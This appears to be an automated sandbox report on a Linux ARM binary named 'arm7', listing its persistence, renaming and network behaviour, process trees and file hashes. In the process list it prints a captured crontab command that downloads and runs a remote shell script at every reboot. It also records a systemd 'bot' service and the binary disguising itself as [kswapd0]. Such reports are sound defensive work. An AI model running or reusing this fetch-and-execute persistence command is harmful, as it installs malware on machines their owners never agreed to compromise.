Analysis Overview
SHA256
15af70f91b8099d491f6d891cd063301b8e40e063aa0554294ec28cab71753c6
Threat Level: Shows suspicious behavior
The file arm7 was found to be: Shows suspicious behavior.
Malicious Activity Summary
File and Directory Permissions Modification
Renames itself
Unexpected DNS network traffic destination
Creates/modifies Cron job
Modifies systemd
Changes its process name
Command and Scripting Interpreter: Unix Shell
Reads runtime system information
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-10-27 11:20
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-10-27 11:20
Reported
2024-10-27 11:23
Platform
debian12-armhf-20240221-en
Max time kernel
137s
Max time network
148s
Command Line
Signatures
File and Directory Permissions Modification
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/sh | N/A |
Renames itself
| Description | Indicator | Process | Target |
| N/A | N/A | /tmp/arm7 | N/A |
Unexpected DNS network traffic destination
| Description | Indicator | Process | Target |
| Destination IP | 81.169.136.222 | N/A | N/A |
Creates/modifies Cron job
| Description | Indicator | Process | Target |
| File opened for modification | /var/spool/cron/crontabs/tmp.N6iEci | /usr/bin/crontab | N/A |
Modifies systemd
| Description | Indicator | Process | Target |
| File opened for modification | /lib/systemd/system/bot.service | /tmp/arm7 | N/A |
Changes its process name
| Description | Indicator | Process | Target |
| Changes the process name, possibly in an attempt to hide itself | [kswapd0] | /tmp/arm7 | N/A |
Command and Scripting Interpreter: Unix Shell
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/sh | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/mounts | /tmp/arm7 | N/A |
| File opened for reading | /proc/filesystems | /bin/systemctl | N/A |
Processes
/tmp/arm7
[/tmp/arm7 massload]
/bin/sh
[/bin/sh -c (crontab -l ; echo "@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh") | crontab -]
/usr/bin/crontab
[crontab -]
/usr/bin/crontab
[crontab -l]
/bin/sh
[/bin/sh -c /bin/systemctl enable bot]
/bin/systemctl
[/bin/systemctl enable bot]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | debian12-armhf-20240221-en-13 | udp |
| US | 1.1.1.1:53 | debian12-armhf-20240221-en-13 | udp |
| US | 1.1.1.1:53 | debian12-armhf-20240221-en-13 | udp |
| US | 1.1.1.1:53 | debian12-armhf-20240221-en-13 | udp |
| DE | 81.169.136.222:53 | kingstonwikkerink.dyn | udp |
| US | 194.87.198.29:20359 | kingstonwikkerink.dyn | tcp |
Files
/var/spool/cron/crontabs/tmp.N6iEci
| MD5 | d1e5ec52400d9ce3cd0440d3ae19100b |
| SHA1 | 445ec9cf7993dc113446742c7a2ef1f0e07586f6 |
| SHA256 | af1ba6bde9ac046bf76b4223834ae65344fced4bf87070dadd61ce0595c52248 |
| SHA512 | e70d30efe7c2df35eaba1fcf759c0c38a5c27b55ece9d2e51cd4b260cc3f3977726a1f8610cac9a951a9fbebc570ad5640147a3282aa406d23ffa840bd5a2682 |
/usr/lib/systemd/system/bot.service
| MD5 | a4e30f6ce6fb6cf00e133f3c93fb5449 |
| SHA1 | 67b7de93a672ada4abfe11e339dc2e270c61b69d |
| SHA256 | a911f4bb5c69ad831fd6dc9004e52e656a846b2d7cbf152ab80c9b3928062ede |
| SHA512 | 893cda7cdcb75aceef89c64a38004feff8e5867e7bc76c622a49adfbff3fbb2c7916de6165ed4c43b4c7dabb5b56271e5a1b8a08d02b84389da92ec177289c25 |